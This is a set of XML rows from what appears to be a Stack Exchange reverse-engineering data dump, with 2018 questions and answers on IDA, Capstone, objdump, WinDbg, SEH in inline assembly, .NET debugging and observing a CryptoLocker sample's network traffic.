  <row Id="17941" PostTypeId="1" CreationDate="2018-04-10T01:46:07.573" Score="1" ViewCount="536" Body="&lt;p&gt;I am a cybersecurity student. What is the best approach to decrypting traffic from a malware? I am using x32dbg (I'm new to assembly) and have trouble finding the private key. Are there any other approaches?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the malware I am reverse engineering: &lt;a href=&quot;https://github.com/ytisf/theZoo/tree/master/malwares/Binaries/CryptoLocker_10Sep2013&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/ytisf/theZoo/tree/master/malwares/Binaries/CryptoLocker_10Sep2013&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23931" LastEditorUserId="23931" LastEditDate="2018-04-10T01:51:18.667" LastActivityDate="2018-04-13T09:58:45.500" Title="Decrypting SSL traffic from malware" Tags="|decryption|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17942" PostTypeId="1" CreationDate="2018-04-10T03:16:03.293" Score="0" ViewCount="1916" Body="&lt;p&gt;On Linux, while generally reversing ELF files and dynamic analyzing (like step into, step over, break-point, inspecting registers value, memory etc) I use &lt;code&gt;gdb&lt;/code&gt; or &lt;code&gt;radare2&lt;/code&gt; which provides dynamic analysis facility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know that does IDA Pro also support Dynamic Analysis on Linux Platform (the same way gdb / r2 does) ? I have tried Dynamic Analysis on exe files using IDA. But I never got to know how could I use dynamic analysis on Linux using IDA where I could play with ELF on the fly.&lt;/p&gt;&#xA;" OwnerUserId="23932" LastEditorUserId="60" LastEditDate="2018-04-10T08:25:27.040" LastActivityDate="2023-12-22T16:06:40.820" Title="Dynamic Analysis on ELF using IDA" Tags="|ida|debugging|linux|dynamic-analysis|vulnerability-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17944" PostTypeId="2" ParentId="17754" CreationDate="2018-04-10T08:38:56.313" Score="0" Body="&lt;p&gt;You cannot write C code which produces exactly the given assembly sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C is a higher level language which does also manage more than assembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the given instruction sequence in assembly&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shr cx, 1&#xA;jae short &amp;lt;addr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cx_temp = cx;&#xA;cx &amp;gt;&amp;gt;= 1;&#xA;if (cx_temp &amp;amp; 0x01) {&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that such shortcuts like in assembly are not available in higher level languages as each assembly is different and higher level languages (like C) hide this differences to you and therefore create assembly level constructs that are more extensive than needed...&lt;/p&gt;&#xA;" OwnerUserId="1490" LastActivityDate="2018-04-10T08:38:56.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17946" PostTypeId="1" AcceptedAnswerId="17950" CreationDate="2018-04-10T10:34:24.277" Score="2" ViewCount="1465" Body="&lt;p&gt;I'm trying to play around with the Capstone Disassembler in C.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the documentation they show the following use of the &lt;code&gt;cs_disasm()&lt;/code&gt; function:&#xA;&lt;a href=&quot;http://www.capstone-engine.org/lang_c.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;from here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;count = cs_disasm(handle, CODE, sizeof(CODE)-1, 0x1000, 0, &amp;amp;insn)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The thing that bugs me is that &lt;code&gt;0x1000&lt;/code&gt;. In the documentation (&lt;a href=&quot;https://github.com/aquynh/capstone/blob/master/include/capstone.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;source code actually&lt;/a&gt;) it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;@address: address of the first instruction in given raw code buffer.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't really understand what does that really mean, because from what I understand the &lt;code&gt;insn&lt;/code&gt; array is being dynamically allocated and filled, and that's where the instructions will reside (or are they?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it a fixed value like &lt;code&gt;0x1000&lt;/code&gt;? is that actually address in the memory of the program? (isn't that an illegal address space for a C program to use?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="20084" LastActivityDate="2018-04-10T11:48:13.843" Title="Capstone: What's the purpose of the 'address' argument in cs_disasm()?" Tags="|c|disassemblers|capstone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17948" PostTypeId="1" CreationDate="2018-04-10T10:58:07.370" Score="1" ViewCount="216" Body="&lt;p&gt;I have disassembled a function in IDA Pro and I want to compile it into my project in visual c inline assembly... I'm still a newbie, so let me apologize if I don't use the right terminology...(I'm not an English native speaker) I have come up with this disassembly with IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;push    0FFFFFFFFh&#xA;push    offset stru_xxxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if I follow &lt;code&gt;offset stru_xxxxx&lt;/code&gt;, I see this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stru_xxxxx   _SCOPETABLE_ENTRY &amp;lt;0FFFFFFFFh, 0, offset locxxxxx&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;offset locxxxxx&lt;/code&gt; is the location of the function (&lt;code&gt;xor ebx, ebx&lt;/code&gt;      Finally handler 0 for function XXXXXX)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I'm aware it is a &lt;strong&gt;seh exception&lt;/strong&gt; in C, but how can I reproduce it in inline assembly?  How can I declare &lt;code&gt;stru_xxxxx&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="23939" LastEditorUserId="245" LastEditDate="2018-07-10T08:37:32.153" LastActivityDate="2018-07-10T08:37:32.153" Title="How can I deal with exception handler in Visual C/C++ inline assembly?" Tags="|assembly|c|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17949" PostTypeId="2" ParentId="17948" CreationDate="2018-04-10T11:32:58.093" Score="0" Body="&lt;p&gt;SEH is not supported in inline assembly, you should use C syntax for it. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-10T11:32:58.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17950" PostTypeId="2" ParentId="17946" CreationDate="2018-04-10T11:48:13.843" Score="4" Body="&lt;p&gt;that address is the &lt;strong&gt;virtual address&lt;/strong&gt; you want to disassemble &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example you have a relative jump  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the opcodes will be say &lt;strong&gt;0x74 {imm }&lt;/strong&gt; where &lt;strong&gt;{imm}&lt;/strong&gt; is relative to the current address &#xA;either in positive direction or in negative direction &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so if the  current address is 0x1000  a relative jump with &lt;strong&gt;{5} imm  from 0x1000&lt;/strong&gt; in positive direction  should land you in in 0x1005  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the address was 0x2000 it should land you in 0x2005 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that is the disassembly on the current line should state &lt;/p&gt;&#xA;&#xA;&lt;p&gt;jmp 0x1005 or jmp 0x2005 etc etc  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you do not give the address the disassembly will just say &lt;strong&gt;jmp 5&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is a piece of similar python code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Python 2.7 (32-bit) interactive window [PTVS 15.6.18072.2-15.0]&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; from capstone import *&#xA;&amp;gt;&amp;gt;&amp;gt; CODE = b&quot;\x74\xd9&quot;&#xA;&amp;gt;&amp;gt;&amp;gt; md = Cs(CS_ARCH_X86,CS_MODE_32)&#xA;&amp;gt;&amp;gt;&amp;gt; for i in md.disasm(CODE , 0x1000):&#xA;...     print(&quot;0x%x:\t%s\t%s&quot; %(i.address, i.mnemonic, i.op_str))&#xA;... &#xA;0x1000: je  0xfdb  &amp;lt;&amp;lt;&amp;lt;&amp;lt; (0x1000 - 0x25)&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; for i in md.disasm(CODE , 0x25):&#xA;...     print(&quot;0x%x:\t%s\t%s&quot; %(i.address, i.mnemonic, i.op_str))&#xA;... &#xA;0x25:   je  0    &amp;lt;&amp;lt;&amp;lt;&amp;lt; (0x25 - 0x25) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-04-10T11:48:13.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17952" PostTypeId="2" ParentId="17948" CreationDate="2018-04-10T15:21:41.620" Score="1" Body="&lt;p&gt;you can declare struct in c and access them in assembly &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _SCOPETABLE_ENTRY {&#xA;    DWORD EnclosingLevel;&#xA;    void* FilterFunc;&#xA;    void* HandlerFunc;&#xA;}ScopeTable, *PscpopeTable;&#xA;void * SomeFilt() {&#xA;    return &amp;amp;SomeFilt;&#xA;}&#xA;void * SomeHandler() {&#xA;    return &amp;amp;SomeHandler;&#xA;}&#xA;int main() {&#xA;    printf(&quot;%20s%p\n%20s%p\n&quot;,&#xA;        &quot;Somefilt Addr = &quot;, SomeFilt(), &quot;SomeHandler Addr = &quot;, SomeHandler());&#xA;    ScopeTable foo = { 0 };&#xA;    printf(&quot;Enclosing Level %x FilterFunc = %p HandlerFunc = %p\n&quot;,&#xA;        foo.EnclosingLevel, foo.FilterFunc, foo.HandlerFunc);&#xA;    __asm {&#xA;        lea ebx, foo&#xA;        mov[ebx]foo.EnclosingLevel, 1&#xA;        mov[ebx]foo.FilterFunc, offset SomeFilt&#xA;        mov[ebx]foo.HandlerFunc, offset SomeHandler&#xA;    }&#xA;    printf(&quot;Enclosing Level %x FilterFunc = %p HandlerFunc = %p\n&quot;,&#xA;        foo.EnclosingLevel, foo.FilterFunc, foo.HandlerFunc);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and executing this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    Somefilt Addr = 0006137F&#xA; SomeHandler Addr = 00061384&#xA;Enclosing Level 0 FilterFunc = 00000000 HandlerFunc = 00000000&#xA;Enclosing Level 1 FilterFunc = 0006137F HandlerFunc = 00061384&#xA;Press any key to continue . . .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-04-10T15:21:41.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17953" PostTypeId="1" AcceptedAnswerId="17956" CreationDate="2018-04-10T15:22:24.037" Score="-2" ViewCount="1489" Body="&lt;p&gt;I want to do an analysis with the mnemonics. I can export everything to text but I only need the last column. Any idea on how can I solve this?&lt;br&gt;&#xA;In other words of this output of objdump (objdump -d file) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KpTpR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KpTpR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can I only extract: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea &#xA;lea&#xA;push&#xA;nop&#xA;nop&#xA;lea&#xA;mov&#xA;lea&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23943" LastEditorUserId="60" LastEditDate="2018-04-11T08:06:57.853" LastActivityDate="2018-04-11T08:06:57.853" Title="How can I export only the mnemonics from objdump (or any other program)?" Tags="|disassembly|malware|objdump|assembly|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17954" PostTypeId="2" ParentId="17953" CreationDate="2018-04-10T16:00:42.333" Score="1" Body="&lt;p&gt;Columns in objdump output are commonly separated by tabs, so something like the following should help:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump -d program | sed  '/[^\t]*\t[^\t]*\t/!d' | cut -f 3 | sed 's/ .*$//' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first sed invocation removes lines not containing at least two tab characters (i.e. labels and other non-code output), cut returns the third tab-separated column of the remaining output and the final sed gets rid of the first space character and the rest of each line, i.e. all text after the opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This question might have been better suited for the unix stackexchange community)&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-04-10T16:00:42.333" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17956" PostTypeId="2" ParentId="17953" CreationDate="2018-04-10T18:03:49.763" Score="1" Body="&lt;p&gt;getting start address &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objdump.exe -f calc.exe | grep start&#xA;start address 0x01012d6c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;arguments passed to objdump via @File syntax where @File is disopt.txt &#xA;containing arguments as below &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;cat disopt.txt&#xA;-d&#xA;-M intel&#xA;--no-show-raw-insn&#xA;--start-address         0x1012d6c&#xA;--stop-address          0x1012d8f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C:&gt;objdump.exe @disopt.txt c:\Windows\System32\calc.exe | sed 1,7d | awk &quot;{print $2}&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call&#xA;push&#xA;push&#xA;call&#xA;xor&#xA;mov&#xA;mov&#xA;lea&#xA;push&#xA;call&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;sed to remove first 7 lines&lt;br&gt;&#xA;awk to print second column&lt;/p&gt;&#xA;&#xA;&lt;p&gt;actual disassembly without stripping lines and columns&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;objdump.exe @disopt.txt c:\Windows\System32\calc.exe&#xA;&#xA;c:\Windows\System32\calc.exe:     file format pei-i386&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;01012d6c &amp;lt;.text+0x11d6c&amp;gt;:&#xA; 1012d6c:       call   0x1012abc&#xA; 1012d71:       push   0x58&#xA; 1012d73:       push   0x1012ee8&#xA; 1012d78:       call   0x100c768&#xA; 1012d7d:       xor    ebx,ebx&#xA; 1012d7f:       mov    DWORD PTR [ebp-0x1c],ebx&#xA; 1012d82:       mov    DWORD PTR [ebp-0x4],ebx&#xA; 1012d85:       lea    eax,[ebp-0x68]&#xA; 1012d88:       push   eax&#xA; 1012d89:       call   DWORD PTR ds:0x100114c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit To answer the comment about two mnemonic (the prefix operands like lock  rep , repz , repnz etc )&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;objdump --no-show-raw-insn -d calc.exe | awk &quot;{ if($2==\&quot;lock\&quot;) {print $2,$3} }&quot;&#xA;lock ja&#xA;lock (bad)&#xA;lock add&#xA;lock xadd&#xA;:\&amp;gt;objdump --no-show-raw-insn -d calc.exe | awk &quot;{ if($2==\&quot;rep\&quot;) {print $2,$3} }&quot;&#xA;rep stos&#xA;rep movsl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-04-10T23:34:21.503" LastActivityDate="2018-04-10T23:34:21.503" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17957" PostTypeId="2" ParentId="15405" CreationDate="2018-04-10T18:17:15.373" Score="1" Body="&lt;p&gt;There is nothing violating the &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_HEX#Record_types&quot; rel=&quot;nofollow noreferrer&quot;&gt;intel hex format&lt;/a&gt; as far as I can see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end of file record &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:000000_01_FF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;has a record type of &quot;01&quot; (fourth byte), indicating end of file, whereas&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:009500_00_6B&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is a data record (fourth byte = 00) starting at address 0x0095 containing 0 bytes. I suspect your ihex generator uses this as a sort of indicator for an address change in the subsequent lines.&lt;/p&gt;&#xA;" OwnerDisplayName="user22967" LastActivityDate="2018-04-10T18:17:15.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17959" PostTypeId="2" ParentId="17754" CreationDate="2018-04-10T21:58:30.983" Score="0" Body="&lt;p&gt;Is the value of &lt;code&gt;cx&lt;/code&gt; used again in both branches? If not, this can just be an optimization where the compiler is basically allowed to change the value of variables willy-nilly if they are never used again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int f(int x) {&#xA;    if((x&amp;amp;1)==0) {&#xA;        x&amp;gt;&amp;gt;=1;&#xA;        //Do stuff with x&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could compile to something like what you have. In one branch of the C code, from a high-level perspective &lt;code&gt;x&lt;/code&gt; shouldn't be changed. But since &lt;code&gt;x&lt;/code&gt; is never used again in that branch, the compiler is free to change it if that helps with optimization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if &lt;code&gt;cx&lt;/code&gt; is used again later, this kind of optimization is still possible, it's just a little harder to find a specific example.&lt;/p&gt;&#xA;" OwnerUserId="23440" LastEditorUserId="23440" LastEditDate="2018-04-10T22:40:23.420" LastActivityDate="2018-04-10T22:40:23.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17960" PostTypeId="1" CreationDate="2018-04-10T23:34:50.003" Score="0" ViewCount="7790" Body="&lt;p&gt;I'm trying to open an exe with gdb but although it seems to run I'm unable to list or disas anything. The file is obfuscated, and I may be answering my own question here, with nine rays .net obfuscator. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean I'm unable to use a debugger or should I be able to open with a debugger such as idapro or gdb but have stuff missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When in gdb I run (gdb)file name.exe I get the message 'Reading symbols from name.exe...(no debugging symbols found)...done.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output from linux files command is 'PE32 excutable (console Intel 80386 Mono/.Net Assembly, for MS Windows'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="23949" LastActivityDate="2018-08-13T12:42:31.370" Title="gdb not opening exe file" Tags="|disassembly|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17962" PostTypeId="2" ParentId="17960" CreationDate="2018-04-11T06:19:56.423" Score="1" Body="&lt;p&gt;You wouldn't be able to debug a Windows executable on a Linux machine with &lt;code&gt;gdb&lt;/code&gt; without installing and configuring components that are required. @SYS_V explained it very well in his comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to debug a Windows executable on Linux you have several ways to do so. I recommend you to check out a specific one - &lt;a href=&quot;https://wiki.winehq.org/Winedbg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Winedbg&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In addition, since you mentioned that you want to debug a &lt;code&gt;.net&lt;/code&gt; application I'd suggest you check out &lt;a href=&quot;https://github.com/0xd4d/de4dot&quot; rel=&quot;nofollow noreferrer&quot;&gt;de4dot&lt;/a&gt; and &lt;a href=&quot;https://github.com/0xd4d/dnSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt;, both are for Windows systems. de4dot can be used to deobfuscate &lt;code&gt;.net&lt;/code&gt; obfuscated applications where dnSpy will allow you to decompile and debug &lt;code&gt;.net&lt;/code&gt; applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembling a &lt;code&gt;.net&lt;/code&gt; applications is not a best practice since usually you'll only see the Intermediate Language (&lt;a href=&quot;https://en.wikipedia.org/wiki/Common_Intermediate_Language&quot; rel=&quot;nofollow noreferrer&quot;&gt;CIL/MSIL&lt;/a&gt;). &lt;code&gt;.net&lt;/code&gt; decompilers are able to show you the original source code of the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to decompile &lt;code&gt;.net&lt;/code&gt; applications on Linux you can try with &lt;a href=&quot;https://github.com/icsharpcode/ILSpy&quot; rel=&quot;nofollow noreferrer&quot;&gt;ILSpy&lt;/a&gt; or &lt;a href=&quot;http://tirania.org/blog/archive/2011/Feb-04.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mono decompiler&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-11T06:19:56.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17963" PostTypeId="2" ParentId="17942" CreationDate="2018-04-11T07:01:31.893" Score="0" Body="&lt;p&gt;I don't know what you mean by Dynamic Analysis. For example there's Lighthouse plugin for IDA which is crossplatform, and allows you to load code coverage data into IDA to see which paths of code were actually executed.&#xA;Also there's Ponce plugin, which works for windows, linux and mac, and allows to trace data flow in runtime. I.e. it will mark all the instructions and functions which are accessing some buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to debug Linux binary in IDA, there's \IDA70\dbgsrv\linux_server executable, which you can run to debug of you ELF file remotely.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="22324" LastEditDate="2018-08-09T11:48:05.307" LastActivityDate="2018-08-09T11:48:05.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17964" PostTypeId="2" ParentId="17941" CreationDate="2018-04-11T07:20:18.753" Score="2" Body="&lt;p&gt;Basically, if it's really SSL you need to find the &lt;code&gt;SSL_Read()&lt;/code&gt; and &lt;code&gt;SSL_Write()&lt;/code&gt; functions in the malware code and hook them, so that you can dump their buffers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I doubt that this malware uses SSL, couldn't find any signature of SSL library in the binary.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastEditorUserId="53" LastEditDate="2018-04-11T07:31:27.440" LastActivityDate="2018-04-11T07:31:27.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17967" PostTypeId="2" ParentId="17657" CreationDate="2018-04-11T08:55:47.753" Score="0" Body="&lt;p&gt;Currently nothing beats the quality of IDA’s ARM decompiler. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you are on a budget, BinaryNinja’s medium level IL is actually quite pleasant to read. And in my experience it’s correct (while retdec’s C code is sometimes just plain wrong).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The JEB guys have entered the decompiler business with a MIPS decompiler (which HexRays doesn’t offer at the moment). Supposedly it’s quite good. And they have a ARM decompiler in open beta now. I have not tried it yet, but it’s good to see competition.&lt;/p&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2018-04-11T08:55:47.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17969" PostTypeId="2" ParentId="17941" CreationDate="2018-04-11T13:45:17.397" Score="0" Body="&lt;p&gt;Find the APIs it uses and hook them. The other post mentioned &lt;code&gt;SSL_Read()&lt;/code&gt; and &lt;code&gt;SSL_Write()&lt;/code&gt;. Malware often just uses the WinAPI to do HTTP, which makes it quite simple to use HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check for &lt;a href=&quot;https://msdn.microsoft.com/en-us/en-en/library/windows/desktop/aa384257(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinHTTP&lt;/a&gt; functions, or the &lt;a href=&quot;https://msdn.microsoft.com/en-us/en-en/library/windows/desktop/aa385473(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;WinInet&lt;/a&gt; functions, either as imports, or (typically) via dynamic lookups.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2018-04-11T13:45:17.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17971" PostTypeId="1" CreationDate="2018-04-11T16:49:54.117" Score="0" ViewCount="3100" Body="&lt;p&gt;I open binary file with IDA and each time I need to choose my processor.(by default I see different processor than I need)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I choose default processor(cpu) that each time will be choosen when I open file with IDA? &lt;/p&gt;&#xA;" OwnerUserId="23685" LastEditorUserId="23685" LastEditDate="2018-04-11T17:03:18.977" LastActivityDate="2018-04-15T15:56:18.757" Title="How to set defualt processor on IDA" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17972" PostTypeId="1" CreationDate="2018-04-11T16:56:45.547" Score="-2" ViewCount="829" Body="&lt;p&gt;the code is:&#xA;&lt;a href=&quot;https://pastebin.com/wTkB81v4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/wTkB81v4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;would be possible to deobfuscate the code to get the original code?&lt;/p&gt;&#xA;" OwnerUserId="23138" LastActivityDate="2018-04-12T12:31:53.990" Title="would be possible to deobfuscate javascript code?" Tags="|javascript|" AnswerCount="1" CommentCount="2" ClosedDate="2018-04-13T18:44:41.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="17974" PostTypeId="1" CreationDate="2018-04-11T21:59:01.277" Score="1" ViewCount="989" Body="&lt;p&gt;I try to debug a driver used by malware ( without source code of course ), to see what IOCTLS it uses and for what. I have issues breaking on driver loading, it has a proper driver structure, with driver entry point. I Use ida pro 7.0 + windbg plugin. I have tried to break as suggested on other question using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sxe -c &quot;.echo mpAxkSGg3 loaded;&quot; ld:mpAxkSGg3.sys&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't work for some reason, debugger doesn't break. How can i do this other way? I have discovered, that &lt;code&gt;NtLoadDriver&lt;/code&gt; uses &lt;code&gt;MmLoadSystemImageEx&lt;/code&gt; but i don't see actualt Driver Entry call there. Can someone guide me the right way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I can't modify the driver itself, it is signed with some certificate, so i suppose if i just patch the first bytes to &lt;code&gt;int 3&lt;/code&gt; the whole hash will be invalid, and driver won't load&lt;/p&gt;&#xA;" OwnerUserId="23966" LastEditorUserId="23966" LastEditDate="2018-04-11T23:24:48.497" LastActivityDate="2018-07-12T09:52:11.443" Title="Break on driver loading with windbg" Tags="|ida|windbg|driver|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17975" PostTypeId="1" CreationDate="2018-04-12T00:20:06.827" Score="0" ViewCount="419" Body="&lt;p&gt;I'm trying to disable the modification of a byte array in a C++ application. I know where the original array is created and where to find the modified one, but I'm having trouble finding the function responsible for the modification, which also copies the array, presumably on-the-fly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The memory is dynamic, so I can't set a HW breakpoint ahead of time, but I do know the contents of the unmodifed array. Is there an easier way to find the function that creates the modified array than to try and follow the original array through memory or trace it back? (I have attempted this, but somehow I keep missing it...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there maybe a plugin for OllyDbg that searches through the trace when you point to a memory address that you need to know where it was modified from?&lt;/p&gt;&#xA;" OwnerUserId="23967" LastActivityDate="2018-04-12T10:18:17.500" Title="Finding source of memory modification" Tags="|ollydbg|c++|memory|tracing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17977" PostTypeId="1" CreationDate="2018-04-12T08:13:07.993" Score="1" ViewCount="772" Body="&lt;p&gt;I am using &lt;code&gt;pwndbg&lt;/code&gt; plugin with &lt;code&gt;gdb&lt;/code&gt;. When any program that prints to &lt;code&gt;stdout&lt;/code&gt; is run under &lt;code&gt;gdb&lt;/code&gt;, I seem to not being able to see the output from the program during the debugging session. How can I redirect the output to the same terminal as that of &lt;code&gt;gdb&lt;/code&gt; or to a different one?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastActivityDate="2019-05-23T13:43:14.080" Title="Redirecting gdb output to stdout wihile using pwndbg" Tags="|gdb|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
